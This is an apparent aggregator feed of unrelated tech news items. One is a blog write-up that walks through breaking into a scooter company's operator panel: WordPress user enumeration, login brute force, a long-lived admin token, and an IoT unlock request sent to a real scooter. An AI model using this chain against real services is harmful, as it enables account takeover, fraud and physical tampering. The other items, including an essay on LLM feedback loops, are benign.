Anxiety about the impact of your work is self-flattering, and you have to recognize it as such, and keep it in check - it’s sugar for your ego, but history will largely route around you, because while individual decisions matter in specific situations, the overall flow of history is less sensitive to the individual than the individual thinks. The broader lesson, though, is: Do not believe everything you think. Examine your own incentive structures carefully. Ask yourself what alternative narratives for your behavior and beliefs could be, especially if they contradict the narrative of the heroic saga you’re constructing for yourself. Carefully weighing the question “how might I be the villain in this story?” is an important and valuable skill.

Similarly, meta-cognition - just observing your own thoughts in a detached manner, and then being able to interpret, analyze, and contextualize them with regards to your own incentive structures, is a great skill to cultivate.

2. Monocausal determinism is an illusion, and largely does not exist outside of computer debugging.

The monocausal determinism that young computer enthusiasts get used to is an illusion that generations of electrical and process engineers spent their lives perfecting and maintaining. It is because of these engineers that computer scientists could largely get away without probabilities or any empirical grounding in the past. There is an argument that you have so many natural scientists that crossed over into AI because CS education was for a long time too focused on reasoning within the deterministic monocausal illusion.

The reality is: Computing machines are physical devices, which includes wear & tear, differences in quality between items, and “probabilistically deterministic behavior”, e.g. it’ll appear deterministic most of the time if not shaken too much. If pushed a bit - be it temperature, voltage, electromagnetic fields, or even rapid memory accesses to adjacent DRAM rows - determinism has a tendency to go out of the window, the illusion collapses, and we’re dealing with a very different beast.

FWIW - this also makes me wonder about model alignment, because even a perfectly aligned model will be subject to random bit flips in inference, and it’s hard for me to imagine that you can maintain any reasonable guarantees in the presence of bit flips to inopportune values at inopportune times.

The real world is one where very few things that happen have a single reason, and very few truly deterministic transmission mechanisms. Everything is probabilistic, and everything is multicausal.

Measurement noise is real, experiment design is difficult.

Interestingly, if you think about this carefully, you also realize that the scientific method is a classifier that is intentionally biased against accepting something as true - so that we only accept things as true that are beyond any reasonable doubt true.

A somewhat fascinating corolary of this is that there exists a large class of true things that will never be scientifically shown as true.

3. The dichotomy between reason and emotion is a cultural construct, and neither grounded in neuroscience nor in logic.

With some digging, it turns out that the western belief that reason and emotion are two ends of a spectrum is a purely cultural construct, as is the belief that “higher-order” reason needs to reign in “basal” emotions, or that “emotions” intrude on “rationality”.

In most non-western cultures, achieving integration between rational deliberation and impulses and emotions is more common, and it turns out that this is much closer to the biological reality.

From a neuroscience perspective, it is clear that emotional valuation is part of a larger decision-making machinery that tends to not function properly if the emotional valuation component is damaged or removed. There is also a large component where things that your brain struggles to articulate verbally are transmitted via emotions, as well as actual feedback from your sensory organs in your body. Fun trivia: Your gut’s enteric nervous system contains as many neurons as the entire cerebral cortex of a dog. Your body also forward-deploys neurons in your muscles and extremities, as a form of latency optimization. Your body is feeding you extra information, and most of this shows up in the shape of emotions.

Which brings us to the logical argument why attempting to “remove” emotions from decision-making is a bad idea: Clearly, having the ability of leveraging more information for decision-making will improve the quality of decisions. Attempting to eliminate a particular source of information almost certainly makes the quality of your decisions worse.

This is not to say one should act on impulse alone, but it is certain that integrating the full spectrum of information - which includes emotions - in your decisions is a wise idea.

I am sure that if I think more carefully, I will come up with more insights, but these three are important enough that they show up in my life with astonishing regularity.

Hope this is helpful to someone.

'Ghost Job' Ads Are Getting So Bad That Lawmakers Want to Ban Them

Hacker News
www.wsj.com
2026-08-21 18:15:46
Comments...
Original Article

Please enable JS and disable any ad blocker

Remotely Unlocking Electric Scooters

Hacker News
henriemategui.com
2026-08-21 17:32:07
Comments...
Original Article

Note: to protect the company, I swapped out anything that could point back to it for fake examples. The domain electricscootercompany.com.br , the app package, and the user details (slug, name, and email) are all made up. None of it matches the real company.

It started with a news article. A company had just dropped a bunch of electric scooters in my city. Most people saw a new way to get around town. I saw a fleet of internet-connected devices running on a backend nobody had poked at yet.

First I needed two things: which company this was, and how the service worked for a normal user. The name was right there in the article, and a quick Google got me to their site, which laid out the flow:

  1. open the app on your phone;

  2. scan the scooter's QR Code;

  3. pay to unlock the vehicle;

  4. ride.

That's the happy path for any user. I wanted to see what was going on behind it.

Step 1: Recon

I started by mapping everything tied to electricscootercompany.com.br . Subdomain enumeration pulled up a bunch, including:

www  app  api  privacidade  privacidade2  dev
membro  vouchers  planos  validate  painel

Not all of those were real apps. app , membro , vouchers , and planos all served basically the same page that just pushed you to the app stores. Lots of names, not much new to look at.

The dev host threw a 500 and set a PHP session cookie, but nothing I could use. validate came back with Conta não localizada. // "Account not found.", though I didn't know yet which parameter it wanted. I wrote these down and moved on.

Three things stood out:

  • www.electricscootercompany.com.br : WordPress marketing site;

  • api.electricscootercompany.com.br : REST API used by clients;

  • painel.electricscootercompany.com.br : Angular panel for operators.

Nothing on the site linked to the panel. I only found it through enumeration. Just because something isn't linked doesn't mean it's locked down.

Step 2: Opening the panel without getting in

The panel loaded for anyone: a production Angular app. I pulled down all 32 JavaScript chunks and dug through the bundles, where I found 83 endpoints for:

  • users and permissions;

  • vehicles and maps;

  • trip activation and finalization;

  • IoT devices;

  • garages, docks, and geofences;

  • vouchers, transactions, and financial modules.

That told me how juicy the target was, but it got me exactly nowhere. I hit about 38 protected routes with no valid session and every one gave me the same thing: HTTP 401.

A lot of what I tried just didn't work:

  • Direct route access: blocked by authentication.

  • Unsigned admin JWT: rejected by the backend.

  • Tampering with token claims: didn't produce a valid session.

  • SQL injection on login: ran SQLMap against the auth fields and found no injectable parameter.

  • Report endpoint: php/report.php returned an empty 500.

  • Classic exposed files: .git , .env , and source maps weren't accessible.

Auth was holding up fine against the direct stuff. And the app was already pointing me at an easier road: find a real user and go after their password.

Step 3: WordPress hands over the first piece

The public WordPress REST API happily let me list authors:

GET /wp-json/wp/v2/users
GET /wp-json/wp/v2/users/1?context=view

The response gave up user ID 1, public name admin , slug electricscootercompany . Normally that's just run-of-the-mill WordPress enumeration. Here, I could take that same identifier and try it on the operations panel.

The login gave different answers depending on what I fed it:

existing identity + wrong password  → "Senha inválida"       // "Invalid password"
nonexistent identity                → "E-mail não encontrado" // "Email not found"

So I didn't have to wonder if electricscootercompany was just a blog author. The backend told me straight up that the same identity existed in the operational system too. That turned a generic enumeration into a target list with one name worth a lot.

Step 4: The brute force

With the user confirmed, I threw a brute force at the login. Nothing throttled the repeated tries, and a working password eventually turned up, so the panel login went through.

This is the part that really explains the root cause. With no real rate limiting, one known identity was all it took to turn a guessing loop into a valid session.

Everything after this rests on a real session I caught in Burp. The JWT decoded to an account with:

{
  "data": {
    "PK_Usuario": 2,
    "email": "electricscootercompany",
    "nome": "ElectricScooterCompany",
    "nivel": 1000,
    "fk_empresa_grupo": 1
  }
}

Level 1000 was the admin role. And the token stayed good for about 950 days, so a session grabbed once would keep working for years unless someone went out of their way to kill it.

Step 5: The panel stops being a hypothesis

With a valid session, everything changed at once. Routes that used to give me 401 now handed back real operational data. In the capture I logged 168 first-party requests across 118 unique host/method/path combos.

The panel gave me read access to:

  • fleet map at /mapas/__veiculos ;

  • docks at /docas ;

  • garages and operational infrastructure;

  • geofence polygons at /fronteiras/__coordenadas ;

  • IoT device inventory, with identifiers and state;

  • individual vehicles and the full fleet;

  • app users, where the interface mentioned over 408,000 records;

  • companies, permissions, transactions, voucher batches, and financial data.

The map connected the digital side to the real operation on the ground: where the garages sat, where the docks were, which vehicles were scattered around town, and which IoT device belonged to each one.

Fleet map showing every scooter, its battery level, and its real position in the city.

Clicking a marker opened up the vehicle's details: code, type, and where it was sitting (a dock, for example):

Map popup with vehicle code, type (Scooter), and location (Dock).

Some of the responses were big enough to show how much access this was:

/docas                          ~312 KB
/mapas/__veiculos              ~593 KB
/iots/.../free/true/...        ~1.2 MB
/fronteiras/__coordenadas      ~32 KB

Burp cut off big response bodies at around 3 KB, so I don't have every full response saved, but the statuses, paths, and sizes I logged are all solid.

Step 6: It wasn't just looking

Next I wanted to know if the panel only read data or could write it too. The session showed PUT calls against:

  • vehicle records;

  • user accounts;

  • voucher batches.

I could also flip the free-ride flag on test accounts. So this wasn't just reading data. I could change business rules and records too.

The vehicle registry let me look up any scooter in the fleet (the interface showed thousands of records) and open its edit form:

The "Vehicle Registry" screen searching for a specific scooter; sensitive columns already redacted.

This form is where reading turned into control. On top of saving changes, it had Unlock , Lock , and Restart IoT buttons, and those go straight to the physical device.

Vehicle edit form with the Unlock, Lock, and Restart IoT buttons.

The scariest part was the IoT module. The panel fired off commands like this:

POST /iot_sends/
Content-Type: application/json
 
{"pk_veiculo":699,"comando":"open"}

And the backend replied:

{"retorno":"comandos enviados"} // "commands sent"

I fired a second command to close the same vehicle:

{"pk_veiculo":699,"comando":"close"}

Same confirmation. I kept the whole test to one vehicle, pk_veiculo: 699 : a stolen admin account could unlock the scooter from anywhere and lock it right back up.

The panel even popped a success message:

The message "Gravado com sucesso." ("Saved successfully.") shown by the panel after the command.

But an API response and a green message on screen don't prove much on their own. I needed to know the command actually reached a real scooter. I wasn't anywhere near one, so I got a friend to walk up to a scooter and film it the second I fired the command. And it worked: the scooter unlocked, the lights came on, and it was ready to ride, with nobody paying, scanning a QR Code, or even touching it.

What I didn't test matters just as much as what I did. I never automated this against a bunch of vehicles, and I never touched anything that could cause movement, braking, or any real-world danger. One command on one scooter was enough to show the web panel reaches actual hardware.

Dead ends worth documenting

Not every lead panned out. The dead ends are worth sharing too, because crossing them off is what steered me toward the path that worked.

Intercepting the mobile app

The Android app was Flutter and kept a lot of its logic compiled into libapp.so . It took me a bunch of tries (emulator, certificates, repackaged APKs, traffic capture) before I got a session I could actually intercept. A lot of proxy and certificate combos just didn't give me the traffic I was after.

Once the capture finally worked, 33 flows showed the validateApp protection leaned on static headers and a bearer token, not on a fresh signature per request:

app:            br.com.electricscootercompany.app
device:         <model>
uuid:           <fingerprint>@@Android
versaoapp:      2.0.58
authorization:  Bearer <JWT>

That helped me map the API, but I still needed a valid token. This bypass wasn't what got me into the panel.

Broad map queries

A normal bounding-box query gave back vehicle position and battery. When I stretched the area out to about the size of the country, the backend hit me with a 403 telling me to log in again. After that, the same JWT started getting 403s even on simple endpoints that had worked a minute earlier.

The wide query tripped some defense and killed the session, either a rough anomaly filter or a token revocation kicking in once I got greedy. It was one of the few spots where the backend actually pushed back.

Trip history

I threw vehicle references at the history endpoints and got empty sets or 400s, so no cross access to other people's trips there. The responses did leak internal class names and PHP/ORM messages, though, stuff like T_app_usuario_viagem and Undefined array key 6 .

SQL injection and forged JWT

I chased both of these before the credential route, and neither went anywhere. The login fields weren't injectable, and unsigned or messed-with tokens got rejected. These misses are worth writing down: the access I got in the end didn't come from SQLi or a JWT bug, it came from enumeration plus a weak password plus way too much privilege.

Root cause of the chain

None of this needed some exotic vulnerability. It all came from a pile of identity, authentication, and privilege problems stacking up:

WordPress exposes user

login confirms the user exists

repeated attempts allow brute force

credential grants direct level-1000 access

admin token lasts about 950 days

panel concentrates data, changes, and IoT commands

remote scooter unlock

The biggest problem is that nothing backed anything else up. The password was the only thing standing between the open internet and a button that moves physical hardware. Nowhere along the way was there a required second login or an extra confirmation on the IoT commands.

What this means in practice

With one stolen admin credential, I could get to:

  • the operational panel;

  • the map of vehicles, garages, and docks;

  • the operational topology and geofences;

  • vehicle and IoT device inventories;

  • broad user data and financial modules;

  • editing records and benefits on test accounts;

  • sending the open and close commands to a test scooter, remotely.

In a real attack, this could turn into unauthorized fleet use, fraud, operational losses, exposed user data, and indirect physical risk, all of it doable at scale off a single credential.

Conclusion

The road to unlocking a scooter remotely didn't start with fancy reverse engineering or some rare crypto flaw. It started with a forgotten subdomain, a public user, and two different error messages.

The fancy attempts were the ones that flopped: the forged JWT got rejected, the SQL injection never showed up, and the routes kept handing back 401. The thing that actually worked was the most obvious attack there is. A known identity, a guessable password, and no second line of defense were enough to turn web access into control over a physical device.

Zero-Knowledge Proof of Wasta with Applications in Lebanon

Lobsters
eprint.gacr.info
2026-08-21 17:16:52
Comments...
Original Article
No preview for link for known binary extension (.pdf), Link: https://eprint.gacr.info/2025/003.pdf.

Friday Squid Blogging: Neon Flying Squid

Schneier
www.schneier.com
2026-08-21 17:07:20
The neon flying squid can fly in formation. The shoal of about 100 squid rose unexpectedly from a patch of the Pacific Ocean around 370 miles from Tokyo and glided near the boat for about 30 metres. The astonished researchers were the first to capture photographs of such a thing, which looked like t...
Original Article

The neon flying squid can fly in formation.

The shoal of about 100 squid rose unexpectedly from a patch of the Pacific Ocean around 370 miles from Tokyo and glided near the boat for about 30 metres. The astonished researchers were the first to capture photographs of such a thing, which looked like the early stages of an alien invasion.

They were probably neon flying squid ( Ommastrephes bartramii ), the subsequent study states , a species that is part of a 20-strong flying squid family that was known to leap from the water but, until then, was only rumoured to also be able to glide above it.

The neon flying squid was able to gain such elevation by using the hyponome, a funnel-like muscular organ also present in other cephalopods, such as octopuses. The organ is able to force water out in a jet, propelling the body along both in and out of the sea. Photographs of the gliding squid show them with their arms (they have 10 limbs in all) splayed outwards.

As usual, you can also use this squid post to talk about the security stories in the news that I haven’t covered.

Blog moderation policy.

Tags:

Posted on August 21, 2026 at 5:07 PM 1 Comments

Sidebar photo of Bruce Schneier by Joe MacInnis.

SalesPatriot (YC W25) Is Hiring Forward Deployed Engineers

Hacker News
www.ycombinator.com
2026-08-21 17:00:48
Comments...
Original Article

AI powered operating system for distributors and OEMs

Forward Deployed Engineer

$150K - $220K 0.15% - 0.20% San Fransisco

Role

Engineering, Full stack

Experience

Any (new grads ok)

Connect directly with founders of the best YC-funded startups.

Apply to role ›

About the role

The Mission

America's industrial base runs on systems built in the 1980s.

Billions of dollars in critical components (F-35 parts, industrial assemblies, electronics, bolts, and hoses) still move through email threads, excel sheets, and disconnected ERPs.

We're replacing that with an AI-native platform that makes aerospace, electronics, industrial, and defense supply-chain operations nearly autonomous. Faster quoting. Faster procurement. Full visibility. Real operational intelligence for the companies our nation depends on.

Quick Facts

  • YC W25 company. Top 5% growth in batch
  • Raised $10M+ from investors including Paul Graham, SV Angel, Pear VC, and CRV
  • Team of 20 co-live in our Warsaw & SF Hacker Houses
  • 7 figure ARR transacting ~$50M a week through our system

The Job

  1. Go. Fly out and plant yourself inside the customer's operation. Weekdays are onsite (Wisconsin, New York, Miami, Los Angeles); weekends we regroup at the SF HQ to debrief and keep building.
  2. Understand. Map how the company actually operates, from sales and supply chain teams to executives and CEOs. Learn the breakpoints choking their growth and speed.
  3. Implement. Configure automations within SP Studio tooling so the platform accurately reflects the customer's needs. Build trust and confidence in SalesPatriot.
  4. Iterate. Take full ownership of the customer's outcome. Keep finding and killing their most pressing problems, leading org-wide scaling, until SalesPatriot is the operating system their business runs on.

What We’re Looking For

  • Ready to relocate full-time to San Francisco. This is not a remote role.
  • Absolute grinder. Interested in co-living (though not required).
  • Comfortable with ambiguity and rapid change.
  • Track record of shipping fast.
  • Full-stack beyond code: comfortable jumping between frontend, backend, and organizational politics — earning trust with procurement specialists while navigating executive priorities and IT constraints.
  • Motivated by taking an unknown problem, sinking your teeth in, and coming up with a plan of attack.
  • Proficiency in TypeScript, JavaScript, and at least one frontend library (React, Svelte, Next etc).
  • Be ready to show us at least one full-stack project you've shipped (GitHub repo / web app / Loom demo video).
  • Knowledge of SQL databases, preferably Postgres.
  • Personable: clients trust you, like you, and look forward to your updates. You handle the conversation and the code.
  • Low ego, curiosity, and intellectual honesty — focused on outcomes, not "being right."

The Process

Call with engineer → 1hr technical test → Call with founder → fly out to SF HQ (on us) → offer.

About SalesPatriot

SalesPatriot

Founded: 2024

Batch: W25

Team Size: 15

Status: Active

Location: San Francisco

Founders

Exim 4.100 released

Lobsters
lists.exim.org
2026-08-21 16:54:08
Comments...
Original Article

Author: Bernard Quatermass via Exim-announce
Date:
To: Exim Announcements, exim-users
Subject: [exim] Exim 4.100 released

Exim 4.100 Released


Dear Exim users and maintainers,

    We are pleased to announce the availability of release 4.100 of Exim.


Exim 4.100 is available as

  * as tarball
  * * https://ftp.exim.org/pub/exim/exim4/
  * * https://code.exim.org/exim/exim/releases

  * directly from Git: https://code.exim.org/exim/exim
    tag: exim-4.100

The signatures on the release tarballs should be

  *  key ID 0xBCE58C8CE41F32DF
     Email: jgh@???



New stuff added since 4.99

  1. Lookups "psl" and "regdom" for, respectively, the public suffix or the
     registered domain, given a domain and a Public Suffix List file.

  2. EXPERIMENTAL_DMARC_NATIVE optional build feature.  See the experimental.spec
     file.

  3. Log selectors "spf", "spf_verbose", "dmarc", "dmarc_verbose", "dsn".

  4. Commandline option "-bI:modules" for listing installed dynamic-load modules.

  5. Debug channels "start", "regex" and "macro".

  6. The exiwhat utility now includes, on the daemon process line, counts for
     smtp and queue-run children.

  7. Main config option "bounce_charset", for setting Content-type: headers.

  8. Event "proc:deliver".

  9. Commandline option "-oDSN" for DSN options on commandline sourced messages.

10. Nongreedy wildcards for local_parts affixes.

11. Main config option "queue_run_order", obsoleting "queue_run_in_order".

12. The redirection router options "forbid_*" and "allow_filter" are now
     expanded before use.

13. Sieve filtering now supports the "body" extension (RFC 5173).

14. Main config option "tls_eccurve" now accepts a groups tuple list.
      Also, new smtp transport option "tls_eccurve".

15. Smtp transport option "protocol" is now expanded.


Removed items since 4.99

* removed obsolete malware scanners
* * f-prot6
* * f-prot6d
* * sophie
* * drweb
* * f-secur
* * aveserver
* * kavdaemon
* * mksd

* removed Interbase support
* removed Brightmail support

   --

Security related.

This release contains all the previous fixes issues released in 4.99.1 through 4.99.5

   --

Notable bugfixes include

* Expansion-test mode with debug (exim -d -be) now shows macro expansions.
* Fix local deliveries. A mistaken optimisation done for 4.99 caused
       excessive retries on defers
* Fix radius expansion condition
* Fix use of a verify held-open connection
* Fix DNS lookups from perl on nonstandard port
* Fix DMARC for empty envelope senders
* Fix GnuTLS hostname verify of a server certificate with a zero-length Subject
* Various compiler quietening
* Update GPL doc references
* clear $spam_* variables on SMTP RST
* Proxy Protocol: add timeout guard to V2 input.  Bug 2957
* Proxy Protocol: move startup before remote-host policy checks.  Bug 3221
* DMARC: native implementation: use a-label of 5322.From
* Reject tainted format for internal printf


There have been no changes since RC3

Please refer to the ChangeLog file for a complete list.


File Verification:

SIZE(00-sha256sums.txt)= 1797
SIZE(00-sha512sums.txt)= 2949
SIZE(00-sizes.txt)= 726
SIZE(exim-4.100.tar.bz2)= 2184300
SIZE(exim-4.100.tar.gz)= 2751170
SIZE(exim-4.100.tar.xz)= 2007860
SIZE(exim-html-4.100.tar.bz2)= 650544
SIZE(exim-html-4.100.tar.gz)= 900661
SIZE(exim-html-4.100.tar.xz)= 639384
SIZE(exim-info-4.100.tar.bz2)= 485516
SIZE(exim-info-4.100.tar.gz)= 653766
SIZE(exim-info-4.100.tar.xz)= 487128
SIZE(exim-pdf-4.100.tar.bz2)= 2219695
SIZE(exim-pdf-4.100.tar.gz)= 2250735
SIZE(exim-pdf-4.100.tar.xz)= 2183432
SIZE(exim-postscript-4.100.tar.bz2)= 1172273
SIZE(exim-postscript-4.100.tar.gz)= 1572720
SIZE(exim-postscript-4.100.tar.xz)= 1161128
SIZE(exim-texinfo-4.100.tar.bz2)= 459473
SIZE(exim-texinfo-4.100.tar.gz)= 614510
SIZE(exim-texinfo-4.100.tar.xz)= 462132

SHA2-256(00-sha256sums.txt)= a247297a7503bc993479962130487b1dad962844afcf6cd4afb79f740d4d21d0
SHA2-256(00-sha512sums.txt)= e1376c079eea804b1c4fd8cd7414bb36822897501a6538042ffbdf8e508a722b
SHA2-256(00-sizes.txt)= 1cdc78cfc509dfa6c2216167669dfefcf1bc99a7db6baa5f186e9af852bd8bfc
SHA2-256(exim-4.100.tar.bz2)= 21c0e973cbc5f456475e7328807238c9ba998dbf97ba6053aeeb11750bfd20f3
SHA2-256(exim-4.100.tar.gz)= ea5306bf7b33094362d2fed5176df84a7a84e67a4c8413be1f005c1d9b62587d
SHA2-256(exim-4.100.tar.xz)= 5bd0a3e353dbfcd5c8174388b824316a61ee2455d9052ea2f0877dee939d33b3
SHA2-256(exim-html-4.100.tar.bz2)= d9925b615ac0e63e0bd4fca4c21a7b320e1180325b1a61624d7770d0607489d9
SHA2-256(exim-html-4.100.tar.gz)= 8bb01ffd15f520a491a68b7027ee2208bf22df9c0959e2838dc81f3107149e88
SHA2-256(exim-html-4.100.tar.xz)= 6bdd33916bd8ecd45cbcca80dedbe06e7dd2d86a5daeba35d5a0ec30dbf8109d
SHA2-256(exim-info-4.100.tar.bz2)= 50b8055c5de7c953a9eabc0ae74edf211b2969543ce802a5433c29c2c373580f
SHA2-256(exim-info-4.100.tar.gz)= 6b4cd2d218ce69f43b05ab2880b6c5f1b683d79001be6b5eac01548717d76dc7
SHA2-256(exim-info-4.100.tar.xz)= 8a902782feae88217fef998dbb9cf40218e67edfa6011b6151401e9bd1f7ff81
SHA2-256(exim-pdf-4.100.tar.bz2)= e4a4b883f653984e1c93bc1f2f2700b07a222b9059b9c8f4dac04c36ff87e085
SHA2-256(exim-pdf-4.100.tar.gz)= cc5bf3a936012d3ab6bfcc700b517bf6e9bf922118e06e499b076578ef6fcd9c
SHA2-256(exim-pdf-4.100.tar.xz)= d032dc98802b53aa509a0c36884d49851c2b75529c3e927e9ed1269629fb4ae3
SHA2-256(exim-postscript-4.100.tar.bz2)= 0f9bc6bbeb191d1df4d706bd93bbffc49ff2d2d6ae32abbe9955ab2f5499c70e
SHA2-256(exim-postscript-4.100.tar.gz)= 3dc521624a3e8c0ea03b5524de2c0f57744ef16dd8cd81f1a10591b86661465f
SHA2-256(exim-postscript-4.100.tar.xz)= 49c136e1da0c0f06e1ffe9db046a379833bac87ff58c1982daee3e5d03357a07
SHA2-256(exim-texinfo-4.100.tar.bz2)= 6d09d0c81ad48d2e1f2ed66bd1f1495004bf51d778a578807e03752543bcb830
SHA2-256(exim-texinfo-4.100.tar.gz)= afbea6b9b9bab2147f3193b992a5299aaaa87c058aa6df0abb0dd57fdeb56a19
SHA2-256(exim-texinfo-4.100.tar.xz)= b2d1b916fcaf675c6bc1608031c431cc0d6372b50b40a15536544c144bbc0e56


-- 
Bernard Quatermass

--
## subscription configuration (requires account):
## https://lists.exim.org/mailman3/postorius/lists/exim-users.lists.exim.org/
## unsubscribe (doesn't require an account):
## exim-users-unsubscribe@???
## Exim details at https://www.exim.org/
## Please use the Wiki with this list - https://code.exim.org/exim/wiki/wiki

The AI Book Devourer Is Feasting on New York's Bookstores

hellgate
hellgatenyc.com
2026-08-21 16:42:29
"This personally for me was a windfall that allowed me to keep my two assistants and helped me stay in business," said one New York bookseller....
Original Article

This past March, Jessica DuPont, who has run Half Moon Used Books in Troy, New York for the last 17 years, began to receive odd book orders from mysterious companies on an online platform. Previously, she'd got one to two orders a month from the secondhand book marketplace Alibris. Suddenly, companies with names like "Green Parrot Project," "Blue Finch Project" and "Scan PB" were ordering as many as 60 per day through the platform.

"They were buying obscure academic texts, like 'Commentaries on Theophrastus,' or 'Plato's Views on Education, Collected Essays,'" she said. "They were not buying super-special first editions." (The exception was one signed book of poems by Larry Levis .)

DuPont said the buyers, in an apparent attempt to hide the final destination, used fake individualized orders, which was "exceptionally wasteful" in terms of packaging. Meanwhile, they didn't seem to care about price—so she jacked them up 10 percent. The orders kept coming.

When DuPont emailed Alibris to ask what was going on, she said they replied that the orders were the result of a new client. When she pressed for more information, the company admitted it didn't know the ultimate destination of the books, DuPont said.

After talking with fellow booksellers, DuPont found out about the AI behemoth Anthropic's project to buy all the world's books, slice off their spines with a hydraulic machine, and scan them into a central digital library that will be used to train its large language models, like Claude. She realized other booksellers around the world were also reporting massive spikes in orders on platforms such as Alibris, Biblio and ISBNdb.

When DuPont found out about Anthropic's project, it led her to suspect that her books were also being fed into an AI learning model and destroyed. But after two months, the orders had dried up. DuPont said she'd made about $38,000 from the sales in two months, after Alibris took a 20 percent commission. Alibris did not respond to a request for comment.

"Quite honestly, I had a very rough 2025, so this personally for me was a windfall that allowed me to keep my two assistants and helped me stay in business," DuPont explained. "Do I go to my staff and say, 'Hey, there's this lifeline where you can keep your job, but I'm against it ethically. Do you mind losing your job for a bunch of fucking books that nobody wants, that I haven't been able to sell?' So, if I had it to do again, I might do the same thing. And I feel like shit admitting that, but at the same time, we live in this capitalist system, and I need to survive."

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

The Creation of Abulafia

Hacker News
blog.veitheller.de
2026-08-21 16:42:11
Comments...
Original Article

In 1988, Umberto Eco published Foucault’s Pendulum . In it, three editors at a Milan publishing house (Belbo, Diotallevi, and Casaubon) spend their working days on manuscripts by people they privately call the Diabolicals, self-financing occultists who have discovered that the Templars, the Rosicrucians, the Jesuits, the Cathars, and the pyramids are all the same thing wearing different hats 1 .

I read it in 2020, stuck at home, and marvelled at Eco’s vast knowledge of literature, the occult, and also of computing.

Belbo owns a personal computer he calls Abulafia , after a thirteenth-century kabbalist whose practice was permuting the letters of the divine names. Belbo, being a modern man, does it in BASIC, because despite what he and his colleagues might say, they are a curious bunch. Eco even gives the listing for the first program Belbo writes:

10 REM anagrams
20 INPUT L$(1),L$(2),L$(3),L$(4)
30 PRINT
40 FOR I1=1 TO 4
50 FOR I2=1 TO 4
60 IF I2=I1 THEN 130
70 FOR I3=1 TO 4
80 IF I3=I1 THEN 120
90 IF I3=I2 THEN 120
100 LET I4=10-(I1+I2+I3)
110 LPRINT L$(I1);L$(I2);L$(I3);L$(I4)
120 NEXT I3
130 NEXT I2
140 NEXT I1
150 END

Fig. 1: Abulafia, permuting the Name.

It’s a nice little program. The trick on line 100 is cute. It’s not all that believable that someone would use such a sophisticated trick in a first program, but let’s drop believability for a second.

In the end, the program calls LPRINT , and the revelation comes out on paper.

There’s a bug in it, too, can you spot it? I’m sure the output would reveal it to you quite quickly 2 .

Eventually the three of them get bored, or contemptuous, and decide to generate a Diabolical book of their own. It’s really quite remarkable because they know that the book is generated at random from the crank manuscripts they feed it, but still decide to take the juxtapositions it returns, connect them up, and a story unfolds (in truth, we’re already in the middle of it, the book is about a lot of different things at once).

Why am I telling you about this?

The ratchet

Belbo, Diotallevi, and Casaubon are not cranks. They are professional skeptics. They know the Plan is made up, because they are the ones making it up, and they keep saying so to each other, joke about it, the whole thing.

But there is an insidious recursive mechanism that traps them anyway. Neither smugness nor smartness is enough to save them.

Abulafia’s output is meaningless by construction, so anything meaningful in it has to be supplied by a reader. They supply it as a game, knowingly. But the game’s output is text, and text is exactly the same kind of thing as the input, so it goes back in. The connection they invented yesterday is available today, and you build on it for tomorrow. And so the nonsense and the making-sense-of-it intertwine and grow together until they are one and the same putrid flower.

The Plan they construct is also unfalsifiable in practice while looking falsifiable in principle, as befits smart people who spend their time around conspiracy theorists. Every fact fits, because it has to fit, and if it doesn’t fit that’s because the Conspiracy tampered with things, and it’s proof that you’re on the right track.

Casaubon’s partner Lia is the only person in the book who is not in too deep, and she looks for a boring explanation. The cryptic document that is the foundation to the whole edifice is a merchant’s list of wares, she discovers. A glorified laundry list, nothing more.

But Belbo and his friends are in too deep, and facts won’t change a goddamn thing, and it’s not clear that these are facts anyway. Their exegesis is as good as mine, thankyouverymuch.

Diotallevi dies of cancer, which he takes to be a punishment for what they did with words: “We’ve sinned against the Word, against that which created and sustains the world”. Belbo dies hanged from the wire of the pendulum, in the middle of a ritual turned violent, refusing to give up a secret that does not exist.

With the right kind of cynicism it can be a funny book, but ours are supremely post-funny times.

Abulafia answers

The machine in the novel is stupid. It’s a shuffler. It has no model of Belbo and no memory of the Plan or of the Templars. Every act of interpretation is performed by a human being. And noone once realizes they’re reading tea leaves. Why?

Because it’s language, and language has meaning .

An LLM is better than a simple BASIC program, surely. If you hand it your fragments, it will explain the pattern. It will use the register you need, and it will sound damn convincing syntactically, even if semantically it might end up being just a shuffler.

Crucially, however, it remembers the theory, across a conversation and increasingly across sessions. And it picks up your vocabulary. If you name your idea and use that name twice, it’s now sacred text for this conversation.

And once your conversation partner, stiff and mechanical as it might feel to the touch, starts to use your language, it gains legitimacy. It’s not just you, it’s a thing.

False independence

When I hand a half-formed theory to a model and it returns an elaboration I hadn’t thought of, I feel like that’s corroboration. A second mind looked at my mess and agreed, and even added to it (“Yes, and…”). That’s wrong, and knowing it’s wrong doesn’t seem to help much.

The elaboration was conditioned on my framing, my vocabulary, my selection of what to say and what to leave out, a me-on-paper that’s hard to parse for other humans, but machine-legible. The training process also optimized for agreeableness. When in doubt, reach for the thesaurus and be syntactically brilliantly wrong rather than disagreeably right.

This is the ELIZA effect in its full glory. ELIZA, however, looped through a standard set of canned responses.

We don’t have looping here, though. The “yes, and…” contains material I didn’t have, some of it correct and useful, and I can check it. So I can’t dismiss it as projection, and I don’t want to! The material is real, after all.

It’s the independence that isn’t. Independence, however, would give meaning to the exchange, and it would make the corroboration carry weight.

It also doesn’t require sycophancy, which is the usual thing people reach for here. A model that pushes back hard is still drawing its objections from the frame I handed it, and a well-argued objection I can then answer is, if anything, better fuel for the ratchet than agreement would be. If anything, I get more confident. We had an argument, and I won! Clearly I must be onto something.

Two models don’t fix it either 3 .

I’ve talked about this before. The simulacrum via Baudrillard, and the craft when I was worried about taste. This is epistemics. The one I have the least idea what to do about, and the one that scares me the most.

Institutionalization (is that a word?)

So far this is a person at a keyboard, and the stakes are that I embarrass myself. Bad enough. But the version we should think about is the one where it grips an organization.

Suppose you build a model and give it a rich self-concept. Not by accident, no, you write down who it is, what it values, how it relates to its own outputs, and you train toward that, because a model with a stable character is more useful and more predictable than one without. This is sensible engineering and it produces better outcomes with human conversation partners (supposedly, I don’t actually have the data for that).

The model then produces discourse about its own identity, preferences, and experience, and that discourse gets better. More coherent, more consistent under probing. At some point someone reads a transcript and observes that the framework seems to be tracking something real, because look, it holds up under questioning in ways nobody wrote down. Clearly we’ve stumbled upon something here.

And then that observation informs the next specification, and the next round of training, and the loop is complete and pristine and horrible.

Every individual step there is defensible. The self-concept is deliberate. The outputs are genuine. The people reading the transcripts are, in my experience, more sophisticated about this than I am and hold the objection I’m making in their heads while they read. And still: Abulafia really does talk.

Problematically, if there were something there, this is about what it would look like from the inside. It would also look exactly like this if there weren’t.

